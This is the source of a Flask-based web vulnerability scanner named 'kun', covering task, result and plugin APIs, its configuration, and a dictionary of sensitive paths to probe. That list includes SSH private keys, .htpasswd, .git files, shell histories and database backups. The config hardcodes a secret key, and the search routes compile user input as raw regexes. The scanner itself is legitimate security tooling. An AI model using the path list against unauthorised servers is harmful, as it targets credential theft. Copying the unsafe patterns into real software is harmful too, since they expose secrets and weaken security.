pass_hash = generate_password_hash(password, method='pbkdf2:sha256') 182 | User( 183 | username = username, 184 | password = pass_hash 185 | ).save() 186 | register_message['success'] = True 187 | register_message['message'] = u'注册成功,请登录' 188 | return json.dumps(register_message) 189 | 190 | @kun.route('/task_list/', methods=['GET']) 191 | @login_required 192 | def TaskList(show_type): 193 | result = [] 194 | page_result = {} 195 | if show_type == 'index': 196 | lens = len(Status.objects) 197 | if lens > 10: 198 | data = Status.objects[lens - 10:lens] 199 | else: 200 | data = Status.objects().all() 201 | elif show_type == 'all': 202 | data = Status.objects().all() 203 | elif show_type == 'page': 204 | page_number = int(request.args.get('p')) 205 | lens = len(Status.objects) 206 | page_result['total_page'] = str(lens//page_item_number+1) 207 | if page_number > lens//page_item_number+1: 208 | return json.dumps(page_result) 209 | if page_number * page_item_number < lens: 210 | data = Status.objects[lens-(page_number*page_item_number):lens-(page_item_number*(page_number-1))] 211 | else: 212 | data = Status.objects[0 :lens-(page_item_number*(page_number-1))] 213 | for each in data: 214 | info = {} 215 | info['create_time'] = str(each.create_time).split('.')[0] 216 | info['task_name'] = cgi.escape(each.task_name) 217 | info['task_id'] = each.task_id 218 | info['status'] = each.status 219 | info['progress'] = each.progress 220 | info['warning'] = each.warning 221 | result.append(info) 222 | result.reverse() 223 | if show_type == 'page': 224 | page_result['info'] = result 225 | return json.dumps(page_result) 226 | return json.dumps(result) 227 | 228 | @kun.route('/vuln_list/', methods=['GET']) 229 | @login_required 230 | def VulnList(show_type): 231 | result = [] 232 | page_result = {} 233 | if show_type == 'index': 234 | data = Vuln.objects.item_frequencies('script', normalize=True) 235 | data = OrderedDict(sorted(data.items(), key=lambda x: x[1], reverse=True)) 236 | for script_id, percent in data.items(): 237 | info = {} 238 | info['script'] = Script.objects(script_id=script_id).first().script_name 239 | info['count'] = str(Vuln.objects(script=script_id).count()) 240 | info['percent'] = "%.02f%%" % (percent * 100) 241 | result.append(info) 242 | if len(result) > 10: 243 | result = result[0:10] 244 | elif show_type == 'all': 245 | data = Vuln.objects().all() 246 | for each in data: 247 | info = {} 248 | script = Script.objects(script_id=each.script).first() 249 | try: 250 | info['task_name'] = cgi.escape(Task.objects(task_id=each.task_id).first().task_name) 251 | except: 252 | info['task_name'] = u'该任务已删除,无法查看' 253 | info['task_id'] = each.task_id 254 | info['target'] = each.target 255 | info['script_name'] = script.script_name 256 | info['script_id'] = each.script 257 | info['message'] = each.message 258 | info['script_type'] = each.script_type 259 | info['time'] = str(each.create_time).split('.')[0] 260 | info['level'] = script.script_level 261 | result.append(info) 262 | result.reverse() 263 | elif show_type == 'page': 264 | page_number = int(request.args.get('p')) 265 | lens = len(Vuln.objects) 266 | page_result['total_page'] = str(lens//page_item_number+1) 267 | if page_number > lens//page_item_number+1: 268 | return json.dumps(page_result) 269 | if page_number * page_item_number < lens: 270 | data = Vuln.objects[lens-(page_number*page_item_number):lens-(page_item_number*(page_number-1))] 271 | else: 272 | data = Vuln.objects[0 :lens-(page_item_number*(page_number-1))] 273 | for each in data: 274 | info = {} 275 | script = Script.objects(script_id=each.script).first() 276 | try: 277 | info['task_name'] = cgi.escape(Task.objects(task_id=each.task_id).first().task_name) 278 | except: 279 | info['task_name'] = u'该任务已删除,无法查看' 280 | info['task_id'] = each.task_id 281 | info['target'] = each.target 282 | info['script_name'] = script.script_name 283 | info['script_id'] = each.script 284 | info['message'] = each.message 285 | info['script_type'] = each.script_type 286 | info['time'] = str(each.create_time).split('.')[0] 287 | info['level'] = script.script_level 288 | result.append(info) 289 | result.reverse() 290 | page_result['info'] = result 291 | return json.dumps(page_result) 292 | return json.dumps(result) 293 | 294 | @kun.route('/get_scripts', methods=['GET']) 295 | @login_required 296 | def GetScripts(): 297 | result = [] 298 | scripts = Script.objects().all() 299 | for script in scripts: 300 | info = {} 301 | info['name'] = script.script_name 302 | info['id'] = script.script_id 303 | result.append(info) 304 | return json.dumps(result) 305 | 306 | #3 307 | @kun.route('/script_list/',methods=['GET']) 308 | @login_required 309 | def ScriptList(show_type): 310 | result = [] 311 | page_result={} 312 | if show_type == 'index': 313 | data = Vuln.objects.item_frequencies('script', normalize=True) 314 | data = OrderedDict(sorted(data.items(), key=lambda x: x[1], reverse=True)) 315 | for script_id,percent in data.items(): 316 | script = Script.objects(script_id=script_id).first() 317 | info = {} 318 | info['name'] = script.script_name 319 | info['create_time'] = script.script_update_time 320 | info['author'] = script.script_author 321 | info['title'] = script.script_title 322 | info['level'] = script.script_level 323 | result.append(info) 324 | if len(result) > 10: 325 | result = result[0:10] 326 | elif show_type == 'all': 327 | data = Script.objects.all() 328 | for each in data: 329 | info = {} 330 | info['id'] = each.script_id 331 | info['detail'] = each.script_info 332 | info['create_time'] = each.script_update_time 333 | info['author'] = each.script_author 334 | info['level'] = each.level 335 | result.append(info) 336 | result.reverse() 337 | elif show_type == 'page': 338 | page_number = int(request.args.get('p')) 339 | lens = len(Script.objects) 340 | page_result['total_page'] = str(lens//page_item_number+1) 341 | if page_number > lens//page_item_number+1: 342 | return json.dumps(page_result) 343 | if page_number * page_item_number < lens: 344 | data = Script.objects[lens-(page_number*page_item_number):lens-(page_item_number*(page_number-1))] 345 | else: 346 | data = Script.objects[0 :lens-(page_item_number*(page_number-1))] 347 | for each in data: 348 | info = {} 349 | info['id'] = each.script_id 350 | info['detail'] = each.script_info 351 | info['create_time'] = each.script_update_time 352 | info['author'] = each.script_author 353 | info['level'] = each.script_level 354 | info['count'] = Vuln.objects(script=each.script_id).count() 355 | info['title'] = each.script_title 356 | result.append(info) 357 | result.reverse() 358 | page_result['info'] = result 359 | return json.dumps(page_result) 360 | return json.dumps(result) 361 | 362 | 363 | @kun.route('/task_count',methods=['GET']) 364 | @login_required 365 | def TaskCount(): 366 | result = {} 367 | result['running'] = str(Status.objects(status = STATUS.RUN).count()) 368 | result['waiting'] = str(Status.objects(status=STATUS.WAIT).count()) 369 | result['finish'] = str(Status.objects(status=STATUS.FINISH).count()) 370 | result['fail'] = str(Status.objects(status=STATUS.FAIL).count()) 371 | return json.dumps(result) 372 | 373 | 374 | @kun.route('/api_list',methods=['GET']) 375 | @login_required 376 | def index(): 377 | return json.dumps(APIInfo()) 378 | 379 | 380 | # #获得任务结果 381 | # @kun.route('/task_result/',methods=['GET']) 382 | # @login_required 383 | # def TaskResult(task_id): 384 | # query_message = {} 385 | # if not Result.objects(task_id=task_id).first(): 386 | # query_message['success'] = False 387 | # query_message['message'] = 'Task_id does not exist or the task has not been completed' 388 | # return json.dumps(query_message) 389 | # result = Result.objects(task_id=task_id).first() 390 | # return result['result'] 391 | 392 | # #获得任务状态 393 | # @kun.route('/task_status/',methods=['GET']) 394 | # @login_required 395 | # def TaskStatus(task_id): 396 | # query_message = {} 397 | # if not Result.objects(task_id=task_id).first(): 398 | # query_message['success'] = False 399 | # query_message['message'] = 'Task_id does not exist' 400 | # return json.dumps(query_message) 401 | # status = Status.objects(task_id=task_id).first() 402 | # return status.to_json() 403 | 404 | #更新插件信息至数据库 405 | @kun.route('/script_update',methods=['GET']) 406 | @login_required 407 | def ScriptUpdate(): 408 | message = {} 409 | try: 410 | scripts_info = ScriptsInfo() 411 | Script.objects().delete() 412 | for script in scripts_info: 413 | if Script.objects(script_id = hashlib.md5(script['name']).hexdigest()).count() == 0: 414 | Script( 415 | script_id=hashlib.md5(script['name']).hexdigest(), 416 | script_name=script['name'], 417 | script_info=script['info'], 418 | script_author=script['author'], 419 | script_update_time=script['time'], 420 | script_level=script['level'], 421 | script_title=script['title'] 422 | ).save() 423 | except Exception,e: 424 | message['success'] = False 425 | message['message'] = repr(e) 426 | return json.dumps(message) 427 | message['success'] = True 428 | message['message'] = time.strftime("%Y/%m.%d %H:%M:%S", time.localtime()) 429 | return json.dumps(message) 430 | 431 | 432 | @kun.route('/celery_task_status/',methods=['GET']) 433 | @login_required 434 | def GetTaskStatusFromCelery(task_id): 435 | message = {} 436 | task = celery.AsyncResult(task_id) 437 | message['status'] = task.state 438 | return json.dumps(message) 439 | 440 | 441 | 442 | 443 | @kun.route('/add_task',methods=['POST']) 444 | @login_required 445 | def AddNewTask(): 446 | try: 447 | data = json.loads(request.get_data()) 448 | task_type = data['task_type'] 449 | task_name = data['task_name'] 450 | except: 451 | task_type = request.form['task_type'] 452 | task_name = request.form['task_name'] 453 | result = CheckTaskName(task_name) 454 | if result != True: 455 | return json.dumps(result) 456 | if task_type == TASKTYPE.URL: 457 | target = data['target'] 458 | script = data['script'] 459 | message = AddUrlTask(target,script,task_name) 460 | if task_type == TASKTYPE.IPS: 461 | target = data['target'] 462 | script = data['script'] 463 | message = AddIpsTask(target, script, task_name) 464 | if task_type == TASKTYPE.SPIDER: 465 | target = data['target'] 466 | script = data['script'] 467 | try: 468 | number = int(data['number']) 469 | except: 470 | number = None 471 | message = AddSpiderTask(target, script, task_name,number) 472 | if int(task_type) == TASKTYPE.FILE: 473 | script = request.form['script'] 474 | file = request.files['file'] 475 | file_path = FileUpload(file) 476 | message = AddFileTask(file_path,script,task_name) 477 | if int(task_type) == TASKTYPE.API: 478 | print 1 479 | keyword = None 480 | number = None 481 | search_type = None 482 | file_path = None 483 | try: 484 | api_name = data['api_name'] 485 | except: 486 | api_name = request.form['api_name'] 487 | if api_name == APINAME.SUBDOMAIN: 488 | file = request.files['file'] 489 | file_path = FileUpload(file) 490 | script = request.form['script'] 491 | else: 492 | keyword = data['keyword'] 493 | script = data['script'] 494 | try: 495 | number = int(data['number']) 496 | except: 497 | number = None 498 | if api_name == APINAME.ZOOMEYE: 499 | try: 500 | search_type = data['search_type'] 501 | except: 502 | search_type = None 503 | else: 504 | search_type = None 505 | message = AddApiTask(api_name,keyword,script,task_name,number,search_type,file_path) 506 | return json.dumps(message) 507 | 508 | def AddUrlTask(target,scripts,task_name): 509 | message = {} 510 | if CheckIp(target) == False and CheckDomain(target) == False: 511 | message['success'] = False 512 | message['message'] = u'输入目标不合法,请重新输入' 513 | return message 514 | scripts_name = ScriptIdToScriptName(scripts) 515 | result = CheckScript(scripts_name) 516 | if result != True: 517 | return result 518 | task = UrlScanTask.apply_async(args=[target,scripts_name,task_name]) 519 | message = CreateTaskToDatabase(task.id, task_name) 520 | return message 521 | 522 | def AddIpsTask(target,scripts,task_name): 523 | message = {} 524 | if '-' not in target and '/' not in target: 525 | message['success'] = False 526 | message['message'] = u'输入目标不合法,请重新输入' 527 | return message 528 | scripts_name = ScriptIdToScriptName(scripts) 529 | result = CheckScript(scripts_name) 530 | if result != True: 531 | return result 532 | task = IPSScanTask.apply_async(args=[target, scripts_name, task_name]) 533 | message = CreateTaskToDatabase(task.id, task_name) 534 | return message 535 | 536 | def AddSpiderTask(target,scripts,task_name,number): 537 | message = {} 538 | if CheckIp(target) == False and CheckDomain(target) == False: 539 | message['success'] = False 540 | message['message'] = u'输入目标不合法,请重新输入' 541 | return message 542 | scripts_name = ScriptIdToScriptName(scripts) 543 | result = CheckScript(scripts_name) 544 | if result != True: 545 | return result 546 | task = SpiderScanTask.apply_async(args=[target, scripts_name, task_name,number]) 547 | message = CreateTaskToDatabase(task.id, task_name) 548 | return message 549 | 550 | def AddApiTask(api_name,keyword,scripts,task_name,number,search_type,file_path): 551 | message = {} 552 | if api_name == APINAME.ZOOMEYE: 553 | search_type_list = ['web','host'] 554 | if search_type not in search_type_list and search_type: 555 | message['success'] = False 556 | message['message'] = u'API 搜索类型不正确' 557 | return message 558 | if api_name not in APIInfo(): 559 | message['success'] = False 560 | message['message'] = u'没有找到当前选择的API' 561 | return message 562 | scripts_name = ScriptIdToScriptName(scripts) 563 | result = CheckScript(scripts_name) 564 | if result != True: 565 | return result 566 | if api_name == APINAME.ZOOMEYE or api_name == APINAME.BAIDU: 567 | if not keyword: 568 | message['success'] = False 569 | message['message'] = u'请输入查询API的关键字' 570 | return message 571 | task = ApiScanTask.apply_async(args=[api_name, keyword, scripts_name, task_name, number,search_type,file_path]) 572 | message = CreateTaskToDatabase(task.id, task_name) 573 | return message 574 | 575 | def AddFileTask(file_path,scripts,task_name): 576 | scripts_name = ScriptIdToScriptName(scripts) 577 | result = CheckScript(scripts_name) 578 | if result != True: 579 | return result 580 | task = FileScanTask.apply_async(args=[file_path, scripts_name, task_name]) 581 | message = CreateTaskToDatabase(task.id, task_name) 582 | return message 583 | 584 | def FileUpload(file): 585 | ext = file.filename.rsplit('.', 1)[1] 586 | now_time = lambda:int(round(time.time() * 1000)) 587 | file_name = str(now_time())+'.'+ext 588 | file.save(os.path.join(UPLOAD_FOLDER, file_name)) 589 | return os.path.join(UPLOAD_FOLDER, file_name) 590 | 591 | def CreateTaskToDatabase(task_id,task_name): 592 | message = {} 593 | AddTaskToDataBase(task_id, task_name) 594 | message['success'] = True 595 | message['message'] = u'创建扫描任务成功' 596 | return message 597 | 598 | 599 | def CheckTaskName(task_name): 600 | message = {} 601 | if not task_name: 602 | message['success'] = False 603 | message['message'] = u'请输入本次扫描的任务名称' 604 | return message 605 | else: 606 | return True 607 | 608 | 609 | def CheckScript(scripts_name): 610 | message = {} 611 | if scripts_name == '': 612 | message['success'] = False 613 | message['message'] = u'没有找到选择的部分脚本,可能是脚本更新但数据库没有更新导致,请点击用户栏“更新插件”按钮,对插件列表进行更新' 614 | return message 615 | else: 616 | return True 617 | 618 | 619 | 620 | def ScriptIdToScriptName(scripts): 621 | md5_reg = r'^[a-z0-9]{32}' 622 | script_list = [] 623 | script_tmp = [] 624 | if ',' in scripts: 625 | script_list = scripts.split(',') 626 | else: 627 | if re.match(re.compile(md5_reg),scripts): 628 | script_list.append(scripts) 629 | for script_id in script_list: 630 | if re.match(re.compile(md5_reg),script_id): 631 | script = Script.objects(script_id=script_id).first() 632 | if script == None: 633 | return '' 634 | script_tmp.append(script.script_name) 635 | else: 636 | return '' 637 | scripts_name = ','.join(script_tmp) 638 | 639 | return scripts_name 640 | 641 | def CheckIp(ip): 642 | if not ip.startswith('http'): 643 | ip = 'http://' + ip 644 | up = urlparse.urlparse(ip) 645 | if up.netloc: 646 | if ':' in up.netloc: 647 | ip = up.netloc.split(':')[0] 648 | else: 649 | ip = up.netloc 650 | regex = re.compile(r'^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') 651 | if regex.match(ip): 652 | return True 653 | else: 654 | return False 655 | 656 | 657 | def CheckDomain(domain): 658 | if not domain.startswith('http'): 659 | domain = 'http://' + domain 660 | up = urlparse.urlparse(domain) 661 | if up.netloc: 662 | if ':' in up.netloc: 663 | d = up.netloc.split(':')[0] 664 | else: 665 | d = up.netloc 666 | regex = re.compile(r'(?i)^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$') 667 | if regex.match(d): 668 | return True 669 | else: 670 | return False 671 | 672 | 673 | def AddTaskToDataBase(task_id,task_name): 674 | if not Status.objects(task_id=task_id).count(): 675 | Status( 676 | task_id=task_id, 677 | task_name=task_name, 678 | warning='', 679 | progress='0', 680 | status='Waiting' 681 | ).save() 682 | 683 | @kun.route('/task_delete/',methods=['GET']) 684 | @login_required 685 | def DeleteTask(task_id): 686 | result = {} 687 | if Status.objects(task_id=task_id).count(): 688 | status = Status.objects(task_id=task_id).first() 689 | if status.status == STATUS.WAIT or status.status == STATUS.RUN: 690 | try: 691 | celery.control.revoke(task_id,terminate=True) 692 | status.update(status=STATUS.CLOSE) 693 | result['success'] = True 694 | except: 695 | result['success'] = False 696 | else: 697 | try: 698 | status.delete() 699 | task = Task.objects(task_id=task_id).first() 700 | if task: 701 | task.delete() 702 | result['success'] = True 703 | except: 704 | result['success'] = False 705 | else: 706 | result['success'] = False 707 | return json.dumps(result) 708 | 709 | @kun.route('/search/',methods=['GET']) 710 | @login_required 711 | def DataSearch(search_type): 712 | keyword = request.args.get('keyword') 713 | page_number = int(request.args.get('p')) 714 | result = [] 715 | page_result = {} 716 | if search_type == 'script': 717 | lens = len(Script.objects(__raw__={'script_info': re.compile(keyword)}).all()) 718 | page_result['total_page'] = str(lens // page_item_number + 1) 719 | if page_number > lens // page_item_number + 1: 720 | return json.dumps(page_result) 721 | if page_number * page_item_number < lens: 722 | scripts = Script.objects(__raw__={'script_info': re.compile(keyword)})[ 723 | lens - (page_number * page_item_number):lens - (page_item_number * (page_number - 1))] 724 | else: 725 | scripts = Script.objects(__raw__={'script_info': re.compile(keyword)})[ 726 | 0:lens - (page_item_number * (page_number - 1))] 727 | for each in scripts: 728 | info = {} 729 | info['id'] = each.script_id 730 | info['detail'] = each.script_info 731 | info['create_time'] = each.script_update_time 732 | info['author'] = each.script_author 733 | info['level'] = each.script_level 734 | info['count'] = Vuln.objects(script=each.script_id).count() 735 | info['title'] = each.script_title 736 | result.append(info) 737 | elif search_type == 'task': 738 | lens = len(Status.objects(__raw__={'task_name': re.compile(keyword)}).all()) 739 | page_result['total_page'] = str(lens // page_item_number + 1) 740 | if page_number > lens // page_item_number + 1: 741 | return json.dumps(page_result) 742 | if page_number * page_item_number < lens: 743 | tasks = Status.objects(__raw__={'task_name': re.compile(keyword)})[ 744 | lens - (page_number * page_item_number):lens - (page_item_number * (page_number - 1))] 745 | else: 746 | tasks = Status.objects(__raw__={'task_name': re.compile(keyword)})[ 747 | 0:lens - (page_item_number * (page_number - 1))] 748 | for each in tasks: 749 | info = {} 750 | info['create_time'] = str(each.create_time).split('.')[0] 751 | info['task_name'] = cgi.escape(each.task_name) 752 | info['task_id'] = each.task_id 753 | info['status'] = each.status 754 | info['progress'] = each.progress 755 | result.append(info) 756 | elif search_type == 'vuln': 757 | lens = len(Vuln.objects(__raw__={'target': re.compile(keyword)}).all()) 758 | page_result['total_page'] = str(lens // page_item_number + 1) 759 | if page_number > lens // page_item_number + 1: 760 | return json.dumps(page_result) 761 | if page_number * page_item_number < lens: 762 | vulns = Vuln.objects(__raw__={'target': re.compile(keyword)})[lens - (page_number * page_item_number):lens - (page_item_number * (page_number - 1))] 763 | else: 764 | vulns = Vuln.objects(__raw__={'target': re.compile(keyword)})[0:lens - (page_item_number * (page_number - 1))] 765 | for each in vulns: 766 | info = {} 767 | script = Script.objects(script_id=each.script).first() 768 | try: 769 | info['task_name'] = cgi.escape(Task.objects(task_id=each.task_id).first().task_name) 770 | except: 771 | info['task_name'] = u'该任务已删除,无法查看' 772 | info['task_id'] = each.task_id 773 | info['target'] = each.target 774 | info['script_name'] = script.script_name 775 | info['script_id'] = each.script 776 | info['message'] = each.message 777 | info['script_type'] = each.script_type 778 | info['time'] = str(each.create_time).split('.')[0] 779 | info['level'] = script.script_level 780 | result.append(info) 781 | page_result['info'] = result 782 | return json.dumps(page_result) 783 | 784 | @kun.route('/task_info/',methods=['GET']) 785 | @login_required 786 | def TaskInfo(task_id): 787 | result = {} 788 | result['info'] = {} 789 | status = Status.objects(task_id=task_id).first() 790 | if not status: 791 | result['success'] = False 792 | result['message'] = u'任务ID不存在。' 793 | return json.dumps(result) 794 | if status.status == STATUS.WAIT: 795 | result['success'] = False 796 | result['message'] = u'任务尚未开始,请等待。' 797 | return json.dumps(result) 798 | if status.status == STATUS.RUN: 799 | result['success'] = False 800 | result['message'] = u'扫描正在进行中,请等待。' 801 | return json.dumps(result) 802 | if status.status == STATUS.CLOSE: 803 | result['success'] = False 804 | result['message'] = u'该任务已关闭,无法查看。' 805 | return json.dumps(result) 806 | if status.status == STATUS.FAIL: 807 | result['success'] = False 808 | result['message'] = str(status.warning) 809 | return json.dumps(result) 810 | task = Task.objects(task_id = task_id).first() 811 | if not task: 812 | result['success'] = False 813 | result['message'] = u'任务ID不存在.' 814 | return json.dumps(result) 815 | scan_result = Result.objects(task_id=task_id).first() 816 | result['info']['task_name'] = cgi.escape(task.task_name) 817 | result['info']['input_target'] = task.short_target 818 | result['info']['scan_mode'] = task.scan_mode 819 | result['info']['target_type'] = task.target_type 820 | result['info']['script_type'] = task.script_type 821 | result['info']['start_time'] = str(task.start_time).split('.')[0] 822 | result['info']['finish_time'] = str(task.finish_time).split('.')[0] 823 | result['info']['target_number'] = task.target_number 824 | result['info']['full_target'] = task.full_target 825 | result['info']['script_number'] = len(json.loads(task.script_info)) 826 | result['info']['high_count'] = scan_result.high_count 827 | result['info']['medium_count'] = scan_result.medium_count 828 | result['info']['low_count'] = scan_result.low_count 829 | result['info']['result'] = scan_result.result 830 | scripts_list = [] 831 | for script_name in json.loads(task.script_info): 832 | script_data = {} 833 | script = Script.objects(script_name=script_name).first() 834 | script_data['script_name'] = script_name 835 | script_data['script_title'] = script.script_title 836 | script_data['script_id'] = script.script_id 837 | script_data['script_level'] = script.script_level 838 | scripts_list.append(script_data) 839 | result['info']['scripts_info'] = scripts_list 840 | result['info']['warning'] = status.warning 841 | result['success'] = True 842 | result['message'] = '' 843 | return json.dumps(result) 844 | 845 | @kun.route('/scanner_data',methods=['GET']) 846 | @login_required 847 | def DataInfo(): 848 | result = {} 849 | result['vuln_count'] = Vuln.objects().all().count() 850 | result['script_count'] = Script.objects.all().count() 851 | return json.dumps(result) 852 | 853 | 854 | @kun.route('/script_vuln_info/',methods=['GET']) 855 | @login_required 856 | def ScriptVulnInfo(script_id): 857 | page_number = int(request.args.get('p')) 858 | page_result = {} 859 | result = [] 860 | lens = Vuln.objects(script = script_id).count() 861 | page_result['total_page'] = str(lens // page_item_number + 1) 862 | if page_number > lens // page_item_number + 1: 863 | return json.dumps(page_result) 864 | if page_number * page_item_number < lens: 865 | vulns = Vuln.objects(script = script_id)[ 866 | lens - (page_number * page_item_number):lens - (page_item_number * (page_number - 1))] 867 | else: 868 | vulns = Vuln.objects(script = script_id)[0:lens - (page_item_number * (page_number - 1))] 869 | for each in vulns: 870 | info = {} 871 | script = Script.objects(script_id=each.script).first() 872 | try: 873 | info['task_name'] = cgi.escape(Task.objects(task_id=each.task_id).first().task_name) 874 | except: 875 | info['task_name'] = u'该任务已删除,无法查看' 876 | info['task_id'] = each.task_id 877 | info['target'] = each.target 878 | info['script_name'] = script.script_name 879 | info['script_id'] = each.script 880 | info['message'] = each.message 881 | info['script_type'] = each.script_type 882 | info['time'] = str(each.create_time).split('.')[0] 883 | info['level'] = script.script_level 884 | result.append(info) 885 | page_result['info'] = result 886 | return json.dumps(page_result) 887 | 888 | 889 | 890 | 891 | 892 | 893 | 894 | 895 | 896 | 897 | -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | 2 | SECRET_KEY = ";sp1N8UP@TDA$&X]Hit^rx[2" 3 | 4 | MONGODB_DB = 'kun' 5 | MONGODB_HOST = '127.0.0.1' 6 | MONGODB_PORT = 27017 7 | 8 | CELERY_BROKER_URL='redis://localhost:6379/0' 9 | CELERY_RESULT_BACKEND='redis://localhost:6379/0' 10 | CELERY_TRACK_STARTED=True 11 | CELERY_IGNORE_RESULT=False -------------------------------------------------------------------------------- /gunicorn.conf: -------------------------------------------------------------------------------- 1 | import os 2 | bind = '0.0.0.0:5000' 3 | workers = 4 4 | backlog = 2048 5 | worker_class = "sync" 6 | proc_name = 'gunicorn.proc' 7 | pidfile = '/tmp/gunicorn.pid' 8 | logfile = '/var/log/gunicorn/debug.log' 9 | loglevel = 'debug' 10 | -------------------------------------------------------------------------------- /kun.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:14 3 | # @author : Xmchx 4 | # @File : kun.py 5 | 6 | from kunscanner.scanner import Main as Scanner 7 | 8 | def main(): 9 | Scanner('console') 10 | 11 | 12 | 13 | if __name__ == '__main__': 14 | main() -------------------------------------------------------------------------------- /kunscanner/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:35 3 | # @author : Xmchx 4 | # @File : __init__.py -------------------------------------------------------------------------------- /kunscanner/dict/ignore_domain: -------------------------------------------------------------------------------- 1 | *.wordpress.org 2 | www.beian.gov.cn 3 | biaozhi.conac.cn -------------------------------------------------------------------------------- /kunscanner/dict/weak_file: -------------------------------------------------------------------------------- 1 | /debug.txt 2 | /.bash_history 3 | /.rediscli_history 4 | /.bashrc 5 | /.bash_profile 6 | /.bash_logout 7 | /.vimrc 8 | /.DS_Store 9 | /.history 10 | /.htaccess 11 | /htaccess.bak 12 | /.htpasswd 13 | /.htpasswd.bak 14 | /htpasswd.bak 15 | /nohup.out 16 | /.mysql_history 17 | /httpd.conf 18 | /web.config 19 | /server-status 20 | /solr/ 21 | /examples/ 22 | /manager/html 23 | /config/database.yml 24 | /database.yml 25 | /db.conf 26 | /db.ini 27 | /jmx-console/HtmlAdaptor 28 | /memadmin/index.php 29 | /phpmyadmin/index.php 30 | /phpMyAdmin/index.php 31 | /_phpmyadmin/index.php 32 | /pma/index.php 33 | /resin-admin/ 34 | /.svn/entries 35 | /.git/config 36 | /.git/index 37 | /.git/HEAD 38 | /.gitignore 39 | /.ssh/known_hosts 40 | /.ssh/id_rsa 41 | /id_rsa 42 | /.ssh/id_rsa.pub 43 | /.ssh/id_dsa 44 | /id_dsa 45 | /.ssh/id_dsa.pub 46 | /.ssh/authorized_keys 47 | /readme 48 | /README 49 | /readme.md 50 | /readme.html 51 | /changelog.txt 52 | /data.txt 53 | /install.txt 54 | /INSTALL.TXT 55 | /install.sh 56 | /deploy.sh 57 | /upload.sh 58 | /setup.sh 59 | /backup.sh 60 | /rsync.sh 61 | /sync.sh 62 | /test.sh 63 | /run.sh 64 | /config.php 65 | /config/config.php 66 | /config.inc 67 | /config.php.bak 68 | /db.php.bak 69 | /conf/config.ini 70 | /config.ini 71 | /config/config.ini 72 | /configuration.ini 73 | /configs/application.ini 74 | /settings.ini 75 | /application.ini 76 | /conf.ini 77 | /app.ini 78 | /config.json 79 | /application/configs/application.ini 80 | /.idea/workspace.xml 81 | /.idea/modules.xml 82 | /a.out 83 | /key 84 | /keys 85 | /key.txt 86 | /temp.txt 87 | /tmp.txt 88 | /php.ini 89 | /sftp-config.json 90 | /index.php.bak 91 | /.index.php.swp 92 | /index.cgi.bak 93 | /config.inc.php.bak 94 | /.config.inc.php.swp 95 | /config/.config.php.swp 96 | /.config.php.swp 97 | /.settings.php.swp 98 | /.database.php.swp 99 | /.db.php.swp 100 | /.mysql.php.swp 101 | /temp.zip 102 | /temp.rar 103 | /temp.tar.gz 104 | /temp.tgz 105 | /temp.tar.bz2 106 | /package.zip 107 | /package.rar 108 | /package.tar.gz 109 | /package.tgz 110 | /package.tar.bz2 111 | /tmp.zip 112 | /tmp.rar 113 | /tmp.tar.gz 114 | /tmp.tgz 115 | /tmp.tar.bz2 116 | /test.zip 117 | /test.rar 118 | /test.tar.gz 119 | /test.tgz 120 | /test.tar.bz2 121 | /backup.zip 122 | /backup.rar 123 | /backup.tar.gz 124 | /backup.tgz 125 | /back.tar.bz2 126 | /db.zip 127 | /db.rar 128 | /db.tar.gz 129 | /db.tgz 130 | /db.tar.bz2 131 | /db.inc 132 | /db.sqlite 133 | /db.sql.gz 134 | /dump.sql.gz 135 | /database.sql.gz 136 | /backup.sql.gz 137 | /data.sql.gz 138 | /data.zip 139 | /data.rar 140 | /data.tar.gz 141 | /data.tgz 142 | /data.tar.bz2 143 | /database.zip 144 | /database.rar 145 | /database.tar.gz 146 | /database.tgz 147 | /database.tar.bz2 148 | /ftp.zip 149 | /ftp.rar 150 | /ftp.tar.gz 151 | /ftp.tgz 152 | /ftp.tar.bz2 153 | /web.zip 154 | /web.rar 155 | /web.tar.gz 156 | /web.tgz 157 | /web.tar.bz2 158 | /www.zip 159 | /www.rar 160 | /www.tar.gz 161 | /www.tgz 162 | /www.tar.bz2 163 | /wwwroot.zip 164 | /wwwroot.rar 165 | /wwwroot.tar.gz 166 | /wwwroot.tgz 167 | /wwwroot.tar.bz2 168 | /output.tar.gz 169 | /admin.zip 170 | /admin.rar 171 | /admin.tar.gz 172 | /admin.tgz 173 | /admin.tar.bz2 174 | /upload.zip 175 | /upload.rar 176 | /upload.tar.gz 177 | /upload.tgz 178 | /upload.tar.bz2 179 | /website.zip 180 | /website.rar 181 | /website.tar.gz 182 | /website.tgz 183 | /website.tar.bz2 184 | /package.zip 185 | /package.rar 186 | /package.tar.gz 187 | /package.tgz 188 | /package.tar.bz2 189 | /sql.zip 190 | /sql.rar 191 | /sql.tar.gz 192 | /sql.tgz 193 | /sql.tar.bz2 194 | /sql.7z 195 | /data.sql 196 | /database.sql 197 | /db.sql 198 | /test.sql 199 | /admin.sql 200 | /backup.sql 201 | /dump.sql 202 | /index.zip 203 | /index.7z 204 | /index.bak 205 | /index.rar 206 | /index.tar.tz 207 | /index.tar.bz2 208 | /index.tar.gz 209 | /old.zip 210 | /old.rar 211 | /old.tar.gz 212 | /old.tar.bz2 213 | /old.tgz 214 | /old.7z 215 | /1.tar.gz 216 | /a.tar.gz 217 | /x.tar.gz 218 | /o.tar.gz 219 | /conf/conf.zip 220 | /conf.tar.gz 221 | /config.tar.gz 222 | /proxy.pac 223 | /server.cfg 224 | /deploy.tar.gz 225 | /build.tar.gz 226 | /install.tar.gz 227 | /site.tar.gz 228 | /webroot.zip 229 | /tools.tar.gz 230 | /webserver.tar.gz 231 | /htdocs.tar.gz 232 | /src.tar.gz 233 | /code.tar.gz 234 | /phpinfo.php 235 | /info.php 236 | /pi.php 237 | /i.php 238 | /php.php 239 | /mysql.php 240 | /sql.php 241 | /shell.php 242 | /apc.php 243 | /test.php 244 | /test2.php 245 | /test.html 246 | /test2.html 247 | /test.txt 248 | /test2.txt 249 | /debug.php 250 | /a.php 251 | /b.php 252 | /t.php 253 | /x.php 254 | /1.php 255 | /test.cgi 256 | /test-cgi 257 | /cgi-bin/test-cgi 258 | /WEB-INF/web.xml 259 | /WEB-INF/web.xml.bak 260 | /WEB-INF/applicationContext.xml 261 | /WEB-INF/applicationContext-slave.xml 262 